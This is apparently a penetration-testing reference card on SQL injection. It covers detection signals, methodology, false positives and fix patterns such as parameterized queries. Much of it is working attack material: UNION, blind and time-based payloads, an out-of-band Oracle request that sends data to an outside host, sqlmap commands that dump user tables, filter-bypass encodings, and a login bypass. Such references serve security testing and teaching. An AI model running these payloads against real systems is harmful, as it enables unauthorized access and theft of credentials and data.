SQL Injection

What Is Broken and Why

SQL injection arises when applications build SQL queries by concatenating user-controlled strings without parameterization or proper escaping. An attacker who controls part of the query can change its semantics — bypassing authentication, extracting data via UNION or blind techniques, writing files, or executing operating-system commands through database-specific features (xp_cmdshell, UTL_HTTP). The root cause is treating data as code.

Key Signals

• Single quote ' or semicolon ; in a parameter returns a database error or anomalous response
• AND 1=1 returns normal content; AND 1=2 returns empty/different content
• Error messages referencing MySQL, ORA-, MSSQL, PostgreSQL syntax
• ORDER BY N-- incrementing until an error reveals column count
• Delayed response to SLEEP(5) or WAITFOR DELAY '0:0:5'
• Application encodes or strips ' but not -- or /**/

Methodology

1. Enumerate all input vectors: GET/POST parameters, cookie values, HTTP headers (User-Agent, Referer, X-Forwarded-For).
2. Submit ', ", ;, --, /* */ individually and observe response differences (errors, blank pages, changed content).
3. Confirm with boolean pair: append AND 1=1-- (true) vs AND 1=2-- (false).
4. Determine column count with ORDER BY 1--, incrementing until error.
5. Find injectable columns with UNION SELECT null,null,...-- substituting null with 1 or 'a' to locate string columns.
6. Extract data: UNION SELECT table_name,null FROM information_schema.tables--
7. For blind (no output): use ASCII/SUBSTRING boolean loop or time-delay payloads.
8. For error-based (Oracle): use UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL)).
9. Test stacked queries where supported: ; INSERT INTO ....
10. Escalate to OS interaction if database user has sufficient privileges.

Payloads & Tools

# Boolean detection
TARGET/page?id=1 AND 1=1--
TARGET/page?id=1 AND 1=2--

# Column count
TARGET/page?id=10 ORDER BY 5--

# UNION extraction (3-column example)
TARGET/page?id=99999 UNION SELECT 1,version(),3--
TARGET/page?id=99999 UNION SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1--

# Boolean blind character extraction
TARGET/page?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64--

# Time-based blind (MySQL)
TARGET/page?id=1 AND IF(1=1,SLEEP(5),0)--

# Time-based blind (MSSQL)
TARGET/page?id=1; WAITFOR DELAY '0:0:5'--

# Error-based (Oracle)
TARGET/page?id=10||UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--

# Out-of-band (Oracle)
TARGET/page?id=10||UTL_HTTP.REQUEST('VICTIM:80'||(SELECT user FROM DUAL))--

# sqlmap automation
sqlmap -u "TARGET/page?id=1" --dbs --batch
sqlmap -u "TARGET/page?id=1" -D dbname --tables --batch
sqlmap -u "TARGET/page?id=1" -D dbname -T users --dump --batch
sqlmap -u "TARGET/page?id=1" --data="user=foo&pass=bar" --level=3 --risk=2

Bypass Techniques

• Whitespace substitution: OR/**/1=1, OR\n1=1, OR\t1=1
• Comment fragmentation: UN/**/ION/**/SE/**/LECT
• Null byte prefix: %00' UNION SELECT ...
• URL encoding: %27 for ', %20 for space, %2D%2D for --
• Double URL encoding: %2527 → %27 → '
• Hex encoding: SELECT user FROM users WHERE name=unhex('61646d696e')
• char() encoding: char(97,100,109,105,110) = "admin"
• Case variation: SeLeCt, uNiOn
• MSSQL string concat: EXEC('SEL'+'ECT 1')
• Alternative boolean expressions: OR 'x'='x', OR 2>1, 1||1=1, 1&&1=1, OR 2 BETWEEN 1 AND 3
• HTTP Parameter Pollution: split payload across duplicate parameters

Exploitation Scenarios

Scenario 1 — Authentication Bypass Setup: Login form passes username/password directly into SELECT * FROM users WHERE user='$u' AND pass='$p'. Trigger: Submit username admin'-- with any password. Query becomes WHERE user='admin'--' AND pass='...', commenting out the password check. Impact: Full admin account access without valid credentials.

Scenario 2 — Data Exfiltration via UNION Setup: Product search page reflects one database field; column count is 3; column 2 is a string. Trigger: TARGET/search?q=x' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- Impact: All username/password hashes returned in the product name field.

Scenario 3 — Blind Time-Based Credential Extraction Setup: No visible output; application returns 200 for all responses. Trigger: TARGET/page?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)-- — iterate characters observing latency. Impact: Full password hash extraction character by character.

False Positives

• Apostrophes in legitimate product names causing syntax errors unrelated to injection
• Slow queries caused by missing indexes, not SLEEP payloads
• Generic 500 errors on all invalid input (not SQL-specific)
• WAF-generated error pages that mimic database errors

Fix Patterns

• Parameterized queries / prepared statements in all database interactions: SELECT * FROM users WHERE id = ?
• ORM usage with no raw string interpolation
• Stored procedures with typed parameters (not dynamic SQL within the procedure)
• Input validation as defense-in-depth (not sole protection)
• Least-privilege database accounts (no xp_cmdshell, no FILE privilege)
• Disable detailed database error messages in production

Related Skills

[[cmd-injection]] is the OS-level equivalent — both share the same root cause of treating input as code, and both can be tested with similar blind time-delay probes. When SQL injection on a login form bypasses authentication, that outcome is also covered in [[auth-bypass]]. If SQLi leads to file read (LOAD_FILE), [[path-traversal]] techniques apply for target file selection. In mobile apps, [[mobile-code-quality]] covers the same SQLite injection pattern against local databases.